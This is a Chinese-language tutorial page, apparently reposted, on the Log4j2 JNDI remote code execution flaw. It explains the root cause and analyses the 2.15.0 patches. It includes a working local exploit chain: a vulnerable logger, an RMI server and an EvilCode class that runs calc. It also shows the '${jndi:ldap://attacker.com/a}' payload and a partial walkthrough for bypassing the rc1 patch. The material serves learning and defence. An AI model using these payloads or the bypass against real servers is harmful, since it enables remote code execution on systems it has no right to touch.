log4j2远程执行代码漏洞如何攻击?又如何修复(代码片段)

琦彦 琦彦     2022-11-29     352

关键词:

Log4j2远程执行代码漏洞如何攻击? 又如何修复

12月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。

漏洞描述

高危,该漏洞影响范围极广,利用门槛很低,危害极大。

CVSS评分:10(最高级)

漏洞细节漏洞PoC漏洞EXP在野利用
已公开已知已知已发现

漏洞版本影响

Apache log4j2 2.0 - 2.14.1 版本均受影响。

安全版本

Apache log4j-2.15.0-rc2 (2.15.0-rc1版)

区分是Log4j还是Log4j2

有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-$版本号.jar,一个是具体实现log4j-core-$版本号.jar。Log4j只有一个jar包log4j-$版本号.jar
  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

漏洞复现

漏洞攻击步骤

  • 攻击者执行恶意脚本。
  1. 用户发送数据到服务器,不管什么协议,http也好,别的也好
  2. 服务器记录用户请求中的数据,数据中包含恶意payload:$jndi:ldap://attacker.com/a,其中attacker.com是攻击者的服务器
  3. log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个$符号
  4. log4j收到的jndi响应中包含一个java class文件路径,比如是 http://second-stage.attacker.com/Exploit.class,这个class文件会被log4j所运行在的服务器加载运行
  5. 第4步中注入的java class文件中的代码是攻击者的攻击代码

操作系统 windows10
jdk: jdk1.8

需要的依赖

 <!--log4j2核心包-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
            <!--使用yml配置log4j2-->
            <dependency>
                <groupId>com.fasterxml.jackson.dataformat</groupId>
                <artifactId>jackson-dataformat-yaml</artifactId>
                <version>2.12.3</version>
            </dependency>
            <!-- slf4j核心包-->
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-api</artifactId>
                <version>1.7.32</version>
            </dependency>
            <!--用于与slf4j保持桥接-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-slf4j-impl</artifactId>
                <version>2.14.0</version>
            </dependency>
        <!--log4j2核心包-->

项目目录结构

模拟运行存在漏洞log4j2的服务器

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * @Title: 模拟运行存在漏洞log4j2的服务器
 * @ClassName: geektime.log.ServerTest.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class ServerTest 

    private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);

    public static void main(String[] args) 

        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        // $jndi:rmi//127.0.0.1:1099/evil,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。
        String username = "$jndi:rmi://127.0.0.1:1099/evil";
        //正常打印业务日志
        logger.error("username:",username);
    

准备好RMI服务端,等待受害服务器访问

package geektime.log;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


/**
 * @Title: 准备好RMI服务端,等待受害服务器访问
 * @ClassName: geektime.log.RMIServer.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class RMIServer 
    public static void main(String[] args) 
        try 
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java对象 第一个参数为包路径
            Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把远程对象注册到RMI注册服务器上,并命名为evil
            registry.bind("evil",referenceWrapper);
            // registry.bind("evil",new EvilCode());
         catch (RemoteException | AlreadyBoundException | NamingException e) 
            e.printStackTrace();
        
    

恶意代码(打开计算器)

package geektime.log;

import java.io.*;
import java.rmi.Remote;


/**
 * @Title: 执行任意的脚本,目前的脚本会使windows打开计算器
 * @ClassName: geektime.log.EvilCode.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class EvilCode  
    static 
        System.out.println("受害服务器将执行下面命令行");
        Process p;

        String[] cmd = "calc";
        try 
            p = Runtime.getRuntime().exec("calc");
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) 
                System.out.println(line);
            
         catch (IOException e) 
            e.printStackTrace();
        
    



效果

问题记录

类名打印出来了,但是没有启动计算器

仅输出:username:Reference Class Name: EvilCode,未调用计算器

Reference reference = new Reference("log.EvilCode","log.EvilCode",null);

第一个和第二个参数为包路径, 需要更具自己的情况调整修改

漏洞攻击原理

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

NDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。

JNDI API是应用程序调用的接口,

JNDI SPI是具体实现,

应用程序需要指定具体实现的SPI。

下图是官方对JNDI介绍的架构图:

Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

/**
 * @Title: Log4j2的Lookup功能
 * @ClassName: geektime.log.Log4j2Lookup.java
 * @Description:
 *
 * @Copyright 2020-2021 - Powered By 研发中心
 * @version V1.0
 */
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup 
    public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);

    public static void main(String[] args) 
        ThreadContext.put("userName", "琦彦同学,你好");
        LOGGER.error("userName: $ctx:userName");
    

输出结果

16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好

从上面的例子可以看到,通过在日志字符串中加入" c t x : u s e r N a m e " , L o g 4 j 2 在 输 出 日 志 时 , 会 自 动 在 L o g 4 j 2 的 ‘ T h r e a d C o n t e x t ‘ 中 查 找 并 引 用 ‘ u s e r N a m e ‘ 变 量 。 格 式 类 似 " ctx:userName",Log4j2在输出日志时,会自动在Log4j2的`ThreadContext`中查找并引用`userName`变量。格式类似" ctx:userName"Log4j2Log4j2ThreadContextuserName"type:var",即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:$env:USER
  • java:允许查找Java环境配置信息。例如:$java:version
  • jndi:允许通过 JNDI 检索变量。

其中和本次漏洞相关的便是jndi,例如上文漏洞浮现中模拟的:$jndi:rmi://127.0.0.1:1099/evil,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。

 import org.apache.log4j.Logger;
 
 import java.io.*;
 import java.sql.SQLException;
 import java.util.*;
 
 public class VulnerableLog4jExampleHandler implements HttpHandler 
 
   static Logger log = Logger.getLogger(log4jExample.class.getName());
 
   /**
    * A simple HTTP endpoint that reads the request's User Agent and logs it back.
    * This is basically pseudo-code to explain the vulnerability, and not a full example.
    * @param he HTTP Request Object
    */
   public void handle(HttpExchange he) throws IOException 
     string userAgent = he.getRequestHeader("user-agent");
     
     // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
     // The attacker can set their User-Agent header to: $jndi:ldap://attacker.com/a
     log.info("Request User Agent:" + userAgent);
 
     String response = "<h1>Hello There, " + userAgent + "!</h1>";
     he.sendResponseHeaders(200, response.length());
     OutputStream os = he.getResponseBody();
     os.write(response.getBytes());
     os.close();
   
 

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

JNDI注入

由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。

“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

JNDI注入原理

由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

1. MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含$子串时,调用StrSubstitutor进行进一步解析。

2. StrSubstitutor.resolveVariable()

StrSubstitutor将$之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

3. Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

4. JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

5. JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

漏洞补丁分析

2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码,该commit最主要内容是在上文中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

各个限制的内容分别如下:

可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构:

public synchronized <T> T lookup(final String name) throws NamingException 
        try 
            URI uri = new URI(name);
            if (uri.getScheme() != null) 
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) 
                    ......
                    return null;
                
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) 
                    if (!allowedHosts.contains(uri.getHost())) 
                        ......
                        return null;
                    
                    ......
                    if (!allowedClasses.contains(className)) 
                        ......
                        return null;
                    
                    ......
                
            
         catch (URISyntaxException ex) 
            // This is OK.
        
        return (T) this.context.lookup(name);
    

从上面的代码结构中可以总结如下的逻辑:

  • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null
  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)
  • 如果未产生URISyntaxException,则执行this.context.lookup(name)

我们重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);

试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

4.2.2 绕过rc1

由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg中添加lookup进行开启。在当前类路径下添加log4j2.xml,内容参考如下:

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%dHH:mm:ss.SSS [%t] %-5level %logger36 - %msglookups%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>
  1. 漏洞利用代码和上文中一致,编译生成Exploit.class。

  2. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  3. 由于rc1中默认仅支持javaldapldaps这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec这个库。运行java

    漏洞log4j2远程执行代码复现实操代码例子(代码片段)

    如何复现log4j2远程执行代码漏洞漏洞原理漏洞复现漏洞范围漏洞原理1.攻击伪装一个请求体,里面含有JNDI可执行的服务,我这里主要是试了LDAP与RMI两种,请求URL如下:LADP:$jndi:ldap://127.0.0.1:1389/helloRMI:$jndi:rmi://127.0.0.1:1389/hello2.在应用程... 查看详情

    快速修复log4j2远程代码执行漏洞步骤(代码片段)

    ...ff1a;https://blog.csdn.net/weixin_48990070/article/details/121861553/ApacheLog4j2远程代码执行漏洞修复步骤漏洞说明ApacheLog4j2是一个基于Java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远... 查看详情

    log4j2漏洞复现与利用(代码片段)

    文章目录漏洞简介log4j2教程环境搭建测试运行专业名词解释及其payload分析利用工具简介:log4j2漏洞验证(弹出计算器版)被攻击者的log4j2打印函数示例攻击者执行操作漏洞复现log4j2漏洞验证(DNSlog版)DNSlog如... 查看详情

    .net程序测试java项目log4j2是否存在远程代码执行漏洞(代码片段)

    最近两天被朋友圈的“ApacheLog4j2远程代码执行漏洞”刷屏了,主要是因为组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从... 查看详情

    php远程代码执行漏洞怎么修复

    一般来说,不用管。kb2502786excel远程代码执行漏洞属于Microftoffice的漏洞,主要是Excel的漏洞,会攻击你的Excel文件或者程序,你如果经常使用就Excel书写文件或者工作,就补上这个漏洞,如果不经常使用Excel就不用管它了每次检查... 查看详情

    分析并复现apache核弹级漏洞,利用log4j2使目标服务器执行任意代码(代码片段)

    12月9日晚间,ApacheLog4j2被曝光存在严重漏洞,可以随意执行任意远程代码,本贴将详细分析事故原因及实战复现此漏洞!一.事件详情1.事件经过2021年12月9日,国内多家机构监测到Apachelog4j存在任意代码执行漏... 查看详情

    log4j2高危漏洞cnvd-2021-95914复现及分析(代码片段)

    ...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

    为啥电脑总会出现远程执行代码漏洞,修复了还是出?

    如题远程命令执行漏洞:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的... 查看详情

    springboot项目解决log4j2核弹漏洞(代码片段)

    SpringBoot项目解决log4j2核弹漏洞!事件情况北京时间12月9号深夜,ApacheLog4j2被曝出一个高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未... 查看详情

    log4j2爆出漏洞,如何快速升级(代码片段)

    ...旦被攻击者利用会造成严重危害。ApacheLog4j是一款开源的Log4j2室一款开源的Java日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于Log4j2提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环... 查看详情

    记一次某应用虚拟化系统远程代码执行(代码片段)

    ...通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户... 查看详情

    紧急!log4j2再再爆雷:刚升级,又连爆“核弹级”远程数据泄露!v2.17.0横空出世。。。...(代码片段)

    上一篇:程序员裸辞全职接单一个月的感触最近的Log4j2漏洞想必大家都知道了,11月9日晚开源项目ApacheLog4j2的一个远程代码执行漏洞的利用细节被公开,随着ApacheLog4j2.15.0正式版发布,该漏洞已得到解决。然而ÿ... 查看详情

    最新log4j2远程代码执行漏洞(紧急扩散)

    ...三、临时解决方案一、问题描述在12月9日晚间出现了ApacheLog4j2远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置,经多方验证,ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。ApacheLog4j2是一款流行的Java日志框... 查看详情

    http.sys远程代码执行漏洞(ms15-034)

    0x01漏洞描述远程执行代码漏洞存在于HTTP协议堆栈(HTTP.sys)中,当HTTP.sys未正确分析经特殊设计的HTTP请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。若要利用此漏洞,攻击者必须将经特殊... 查看详情

    apachelog4j2远程代码执行高危漏洞解决方案

    ...闻:https://view.inews.qq.com/a/20211210A05KTY00博主其他文章Log4j2高危漏洞分析简介:ApacheLog4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞。由于ApacheLog4j2某些功能... 查看详情

    apachelog4j2rce远程命令执行漏洞复现与分析(代码片段)

    ...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

    log4j2漏洞信息最新跟进(代码片段)

    ...言  一直在解决漏洞,连续发版,从最开始的Log4j2.15.0到现在最新2.17.0,大大小小的版本已经发了10个了,影响的周期已经接近两周了,目前还没看到收尾的迹象。。这次应该是爆出来的第4个漏洞了:•C... 查看详情

    thinkphp5.0.x远程代码执行(代码片段)

    ThinkPHP5.0.x远程代码执行漏洞概要初始配置漏洞利用漏洞分析漏洞修复攻击总结漏洞概要本次漏洞存在于ThinkPHP的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在.php文件中,攻击者通过精心构造的payload,... 查看详情